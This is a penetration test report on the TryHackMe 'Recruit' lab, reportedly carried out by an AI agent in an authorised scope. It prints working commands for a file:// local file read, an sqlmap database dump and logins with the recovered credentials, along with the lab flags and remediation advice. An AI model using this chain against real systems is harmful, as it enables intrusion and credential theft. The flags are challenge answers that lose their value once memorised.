Recruit

Date: 2026-04-25
Target: recruit.thm (10.65.180.189)
Platform: TryHackMe
Difficulty: Medium
Tester: wintermute

Penetration Test Report — Recruit

Date: 2026-04-25
Target: recruit.thm (10.65.180.189)
Operator: wintermute
Executing Agent: Anthropic Claude Opus 4.7 (model ID claude-opus-4-7, 1M-context variant), running in Claude Code on Kali Linux
Difficulty: Medium
Platform: TryHackMe
Classification: Confidential


AI Authorship Disclosure

This engagement was carried out by an autonomous AI agent (Anthropic Claude Opus 4.7) operating from the operator's workstation under the alias above. The AI performed all reconnaissance, exploitation, flag capture, and authored this report end-to-end. The human operator supplied the target, authorised the scope (the TryHackMe lab in question), and supervised execution; no third-party systems were touched. All tool invocations (nmap, gobuster, curl, sqlmap, etc.) were issued by the agent via shell. Findings, payloads, and recommendations have not been independently re-verified by a human reviewer.


Executive Summary

A penetration test was conducted against the Recruit web application hosted at recruit.thm (10.65.180.189). The engagement identified a chain of critical vulnerabilities that allowed an unauthenticated attacker to read arbitrary local files from the server, recover hardcoded credentials, exploit a SQL injection flaw to extract database contents, and ultimately compromise both the HR and Administrator accounts.

All objectives were met. Both application flags were captured without requiring OS-level access.

FlagValue
HR FlagTHM{LOGGED_IN_USER}
Admin FlagTHM{LOGGED_IN_ADM1N1}

Scope & Objectives

ItemDetail
Target IP10.65.180.189
Hostnamerecruit.thm
Ports22/tcp, 53/tcp, 80/tcp
GoalCompromise HR and Admin accounts; capture flags

Findings Summary

#TitleSeverityCVSS (est.)
1Server-Side Request Forgery (SSRF)Critical9.1
2Hardcoded Credentials in Config FileCritical8.8
3SQL Injection — Search ParameterCritical9.8
4phpMyAdmin Exposed to InternetHigh7.5
5Directory Listing — /mail/Medium5.3
6PHP Session Cookie Missing HttpOnlyLow3.1

Reconnaissance

Port Scan

nmap -sC -sV -oA scans/initial 10.65.180.189
PortStateServiceVersion
22/tcpopensshOpenSSH 8.2p1 Ubuntu
53/tcpopendomainISC BIND 9.16.1 (Ubuntu)
80/tcpopenhttpApache httpd 2.4.41 (Ubuntu)

The presence of BIND 9.16.1 on port 53 was noted. DNS zone transfer attempts timed out, suggesting UDP filtering or intentional zone transfer restriction.

Web Enumeration

gobuster dir -u http://10.65.180.189/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 30

Notable endpoints discovered:

PathStatusNotes
/index.php200Login page (HR and Admin accounts)
/api.php200API documentation — reveals /file.php
/file.php200CV fetch endpoint (SSRF)
/dashboard.php302Redirects to login; authenticated only
/config.php200Returns 200 but empty (PHP file)
/phpmyadmin301phpMyAdmin admin panel
/mail/301Directory listing enabled
/sitemap.xml200Hostname disclosure: recruit.thm

Attack Chain

Step 1 — SSRF via /file.php (Finding #1)

The api.php page documented a CV retrieval endpoint:

/file.php?cv=<URL>

Testing revealed that HTTP requests to external or localhost URLs were blocked with the message "Only local files are allowed." However, the file:// URI scheme was accepted for paths within the web root:

GET /file.php?cv=file:///var/www/html/config.php

This constitutes an unauthenticated Server-Side Request Forgery vulnerability enabling arbitrary local file read.


Step 2 — Credential Disclosure via config.php (Finding #2)

Reading /var/www/html/config.php via SSRF returned the PHP source:

$HR_PASSWORD = 'hrpassword123';

A comment in the file explicitly noted these credentials were stored "temporarily for ease of access during the initial rollout phase." The mail log at /mail/mail.log corroborated this, containing an email from the HR team to IT Support stating the same.

Reading index.php via SSRF also revealed the application's full authentication logic, confirming:

  • hr:hrpassword123 — hardcoded in config.php
  • admin password — stored in the MySQL database

Credentials recovered: hr:hrpassword123


Step 3 — HR Login and Flag Capture

Authenticated to the application with the recovered HR credentials:

POST / HTTP/1.1
username=hr&password=hrpassword123&login=1

The dashboard displayed:

HR Flag: THM{LOGGED_IN_USER}

Step 4 — SQL Injection in Search Parameter (Finding #3)

The authenticated dashboard exposed a candidate search form (?search=). Testing with a single quote triggered a verbose MySQL error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

SQLMap was used to exploit the injection and dump the recruit_db database:

sqlmap -u "http://10.65.180.189/dashboard.php?search=test" \
       --cookie="PHPSESSID=<session>" --dbms=mysql --dump --batch

Database: recruit_db

Table users:

idusernamepassword
1adminadmin@001admin

Injection types confirmed: boolean-based blind, error-based, time-based blind, UNION-based.


Step 5 — Admin Login and Flag Capture

Authenticated with the extracted admin credentials:

POST / HTTP/1.1
username=admin&password=admin@001admin&login=1

The dashboard displayed:

Admin Flag: THM{LOGGED_IN_ADM1N1}

Flags

FlagValueAccess Path
HR FlagTHM{LOGGED_IN_USER}SSRF → config.php → hr login
Admin FlagTHM{LOGGED_IN_ADM1N1}SQLi → admin password → admin login

Vulnerabilities & Recommendations

Finding 1 — Server-Side Request Forgery (SSRF) [Critical]

Location: GET /file.php?cv=<URL>

Description: The cv parameter fetches content from user-supplied URLs. While HTTP to external hosts is filtered, the file:// scheme is permitted, enabling unauthenticated read of local files accessible to the web server process.

Impact: Full disclosure of web application source code, configuration files, and any local file readable by www-data. This directly led to recovery of hardcoded credentials.

Recommendation:

  • Remove file:// scheme support entirely. Only allow http:// and https:// to a whitelist of approved external domains.
  • If local file reads are a legitimate use case, implement server-side validation against a strict allowlist of safe paths.
  • Consider moving the CV fetch functionality behind authentication.

Finding 2 — Hardcoded Credentials in Source File [Critical]

Location: /var/www/html/config.php$HR_PASSWORD

Description: The HR account password is stored in plaintext in a PHP configuration file within the web root. The SSRF vulnerability made this file directly readable.

Impact: Full compromise of the HR account.

Recommendation:

  • Store all credentials in environment variables or a secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager). Never commit secrets to the web root or version control.
  • Rotate the hr account password immediately.
  • Complete the planned migration of credentials to the database.

Finding 3 — SQL Injection — Search Parameter [Critical]

Location: GET /dashboard.php?search=

Description: User input is interpolated directly into a MySQL query without parameterisation, enabling UNION, error-based, boolean-based, and time-based SQL injection. Exploitation required authentication (HR session), but the SSRF chain provided that without prior credentials.

Impact: Full read access to all database contents, including the admin account password.

Recommendation:

  • Replace string concatenation with prepared statements and parameterised queries throughout the application.
  • Apply principle of least privilege to the database user — the web application should not be able to read the users table unless strictly necessary.

Finding 4 — phpMyAdmin Exposed to Internet [High]

Location: http://recruit.thm/phpmyadmin/

Description: The phpMyAdmin database administration interface is accessible from the internet. Combined with the extracted admin database credentials, this provides an additional vector for full database compromise and potential OS command execution via INTO OUTFILE.

Recommendation:

  • Restrict phpMyAdmin to localhost only (127.0.0.1) or a dedicated management VPN.
  • If not required, remove it from the server entirely.

Finding 5 — Directory Listing Enabled on /mail/ [Medium]

Location: http://recruit.thm/mail/

Description: Apache directory listing is enabled for /mail/, exposing mail.log. This file contained sensitive operational information including internal IP addresses, email addresses, and explicit confirmation that HR credentials are stored in config.php.

Recommendation:

  • Disable Options Indexes in Apache configuration for all directories.
  • Move log files outside of the web root.

Finding 6 — PHP Session Cookie Missing HttpOnly Flag [Low]

Location: Set-Cookie: PHPSESSID=...; path=/ (missing HttpOnly)

Description: The PHPSESSID session cookie is issued without the HttpOnly attribute, making it accessible to JavaScript. If an XSS vulnerability were present, session cookies could be stolen.

Recommendation:

  • Set session.cookie_httponly = 1 in php.ini.
  • Also set session.cookie_secure = 1 if TLS is deployed.

Appendix

Tools Used

ToolPurpose
nmapPort and service enumeration
gobusterWeb directory and file enumeration
curlManual HTTP interaction and SSRF testing
sqlmapSQL injection detection and exploitation

Credentials Recovered

AccountUsernamePasswordSource
HRhrhrpassword123config.php via SSRF
Adminadminadmin@001adminMySQL via SQLi

*Report generated: 2026-04-25*